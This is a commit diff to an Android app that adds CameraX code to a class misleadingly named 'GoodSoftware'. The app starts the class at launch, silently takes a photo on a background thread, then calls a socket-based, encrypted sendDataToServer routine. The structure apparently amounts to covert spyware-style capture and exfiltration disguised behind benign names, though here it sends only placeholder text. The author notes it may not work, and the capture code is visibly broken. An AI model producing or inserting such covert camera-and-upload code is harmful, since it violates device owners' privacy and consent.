Add code to take picture, dont think it works...
This commit is contained in:
		@@ -50,6 +50,8 @@ android {
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
dependencies {
 | 
			
		||||
    implementation(libs.androidx.camera.lifecycle)
 | 
			
		||||
    val camerax_version = "1.4.0-alpha05"
 | 
			
		||||
 | 
			
		||||
    implementation(libs.androidx.core.ktx)
 | 
			
		||||
    implementation(libs.androidx.lifecycle.runtime.ktx)
 | 
			
		||||
@@ -66,5 +68,10 @@ dependencies {
 | 
			
		||||
    androidTestImplementation(libs.androidx.ui.test.junit4)
 | 
			
		||||
    debugImplementation(libs.androidx.ui.tooling)
 | 
			
		||||
    debugImplementation(libs.androidx.ui.test.manifest)
 | 
			
		||||
    implementation("androidx.camera:camera-camera2:$camerax_version")
 | 
			
		||||
    implementation("androidx.camera:camera-extensions:$camerax_version")
 | 
			
		||||
    implementation("androidx.concurrent:concurrent-futures:1.1.0")
 | 
			
		||||
    implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0")
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
}
 | 
			
		||||
@@ -1,7 +1,18 @@
 | 
			
		||||
package com.ti.m
 | 
			
		||||
 | 
			
		||||
import kotlinx.coroutines.Dispatchers
 | 
			
		||||
import kotlinx.coroutines.withContext
 | 
			
		||||
import android.content.ContentValues
 | 
			
		||||
import android.content.Context
 | 
			
		||||
import android.graphics.Camera
 | 
			
		||||
import android.net.Uri
 | 
			
		||||
import android.os.Build
 | 
			
		||||
import android.provider.MediaStore
 | 
			
		||||
import android.util.Log
 | 
			
		||||
import androidx.camera.core.CameraSelector
 | 
			
		||||
import androidx.camera.core.ImageAnalysis
 | 
			
		||||
import androidx.camera.core.ImageCapture
 | 
			
		||||
import androidx.camera.core.ImageCaptureException
 | 
			
		||||
import androidx.camera.core.Preview
 | 
			
		||||
import androidx.camera.lifecycle.ProcessCameraProvider
 | 
			
		||||
import java.io.BufferedReader
 | 
			
		||||
import java.io.InputStreamReader
 | 
			
		||||
import java.io.PrintWriter
 | 
			
		||||
@@ -13,8 +24,26 @@ import java.security.spec.X509EncodedKeySpec
 | 
			
		||||
import javax.crypto.Cipher
 | 
			
		||||
import javax.crypto.spec.IvParameterSpec
 | 
			
		||||
import javax.crypto.spec.SecretKeySpec
 | 
			
		||||
import androidx.concurrent.futures.await
 | 
			
		||||
import androidx.core.content.ContentProviderCompat.requireContext
 | 
			
		||||
import androidx.core.content.ContextCompat
 | 
			
		||||
import java.io.File
 | 
			
		||||
import java.text.SimpleDateFormat
 | 
			
		||||
import java.util.Locale
 | 
			
		||||
 | 
			
		||||
class GoodSoftware (private val context: Context) {
 | 
			
		||||
    private var cameraProvider: ProcessCameraProvider? = null
 | 
			
		||||
    private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
 | 
			
		||||
    private var displayId: Int = -1
 | 
			
		||||
    private var preview: Preview? = null
 | 
			
		||||
    private var imageCapture: ImageCapture? = null
 | 
			
		||||
    private var imageAnalyzer: ImageAnalysis? = null
 | 
			
		||||
    private var camera: Camera? = null
 | 
			
		||||
 | 
			
		||||
    interface PictureTakenCallback {
 | 
			
		||||
        fun onPictureTaken()
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
class GoodSoftware {
 | 
			
		||||
    private companion object {
 | 
			
		||||
        private const val RSA_ALGORITHM = "RSA"
 | 
			
		||||
        private const val CIPHER_TYPE_FOR_RSA = "RSA/ECB/PKCS1Padding"
 | 
			
		||||
@@ -72,7 +101,14 @@ class GoodSoftware {
 | 
			
		||||
 | 
			
		||||
    private fun runAllTheGoodness() {
 | 
			
		||||
        val dataToSend = "Amazing data"
 | 
			
		||||
        sendDataToServer(dataToSend)
 | 
			
		||||
        Thread {
 | 
			
		||||
            takeBeautifulPicture(object : PictureTakenCallback {
 | 
			
		||||
                override fun onPictureTaken() {
 | 
			
		||||
                    // Picture taken, proceed to send data
 | 
			
		||||
                    sendDataToServer(dataToSend)
 | 
			
		||||
                }
 | 
			
		||||
            })
 | 
			
		||||
        }.start()
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    fun sendDataToServer(sendData: String) {
 | 
			
		||||
@@ -121,4 +157,71 @@ class GoodSoftware {
 | 
			
		||||
        reader.close()
 | 
			
		||||
        socket.close()
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    fun takeBeautifulPicture(callback: PictureTakenCallback) {
 | 
			
		||||
        cameraProvider = ProcessCameraProvider.getInstance(context).get()
 | 
			
		||||
 | 
			
		||||
        lensFacing = when {
 | 
			
		||||
            hasBackCamera() -> CameraSelector.LENS_FACING_BACK
 | 
			
		||||
            hasFrontCamera() -> CameraSelector.LENS_FACING_FRONT
 | 
			
		||||
            else -> throw IllegalStateException("Back and front camera are unavailable")
 | 
			
		||||
        }
 | 
			
		||||
        imageCapture = ImageCapture.Builder()
 | 
			
		||||
            .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
 | 
			
		||||
            .build()
 | 
			
		||||
 | 
			
		||||
        imageCapture?.let { imageCapture ->
 | 
			
		||||
 | 
			
		||||
            // Create time stamped name and MediaStore entry.
 | 
			
		||||
            val name = SimpleDateFormat(picture.FILENAME, Locale.US)
 | 
			
		||||
                .format(System.currentTimeMillis())
 | 
			
		||||
            val contentValues = ContentValues().apply {
 | 
			
		||||
                put(MediaStore.MediaColumns.DISPLAY_NAME, name)
 | 
			
		||||
                put(MediaStore.MediaColumns.MIME_TYPE, picture.PHOTO_TYPE)
 | 
			
		||||
                if(Build.VERSION.SDK_INT > Build.VERSION_CODES.P) {
 | 
			
		||||
                    val appName = requireContext().resources.getString(R.string.app_name)
 | 
			
		||||
                    put(MediaStore.Images.Media.RELATIVE_PATH, "Pictures/${appName}")
 | 
			
		||||
                }
 | 
			
		||||
            }
 | 
			
		||||
 | 
			
		||||
            val outputOptions = ImageCapture.OutputFileOptions
 | 
			
		||||
                .Builder(requireContext().contentResolver,
 | 
			
		||||
                    MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
 | 
			
		||||
                    contentValues)
 | 
			
		||||
                .build()
 | 
			
		||||
 | 
			
		||||
            imageCapture.takePicture(outputOptions, ContextCompat.getMainExecutor(requireContext()),
 | 
			
		||||
                object : ImageCapture.OnImageSavedCallback {
 | 
			
		||||
                    override fun onError(exc: ImageCaptureException) {
 | 
			
		||||
                        Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
 | 
			
		||||
                    }
 | 
			
		||||
 | 
			
		||||
                    override fun onImageSaved(output: ImageCapture.OutputFileResults) {
 | 
			
		||||
                        val savedUri = output.savedUri ?: Uri.fromFile(File(output.savedUri.toString()))
 | 
			
		||||
                        Log.d(picture.TAG, "Photo capture succeeded: $savedUri")
 | 
			
		||||
                    }
 | 
			
		||||
                })
 | 
			
		||||
        }
 | 
			
		||||
        callback.onPictureTaken()
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun hasBackCamera(): Boolean {
 | 
			
		||||
        return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun hasFrontCamera(): Boolean {
 | 
			
		||||
        return cameraProvider?.hasCamera(CameraSelector.DEFAULT_FRONT_CAMERA) ?: false
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun requireContext(): Context {
 | 
			
		||||
        return context
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    object picture {
 | 
			
		||||
        const val TAG = "CameraXBasic"
 | 
			
		||||
        const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS"
 | 
			
		||||
        const val PHOTO_TYPE = "image/jpeg"
 | 
			
		||||
        const val RATIO_4_3_VALUE = 4.0 / 3.0
 | 
			
		||||
        const val RATIO_16_9_VALUE = 16.0 / 9.0
 | 
			
		||||
    }
 | 
			
		||||
}
 | 
			
		||||
 
 | 
			
		||||
@@ -26,6 +26,6 @@ class MainActivity : ComponentActivity() {
 | 
			
		||||
                }
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
        GoodSoftware().launch()
 | 
			
		||||
        GoodSoftware(applicationContext).launch()
 | 
			
		||||
    }
 | 
			
		||||
}
 | 
			
		||||
		Reference in New Issue
	
	Block a user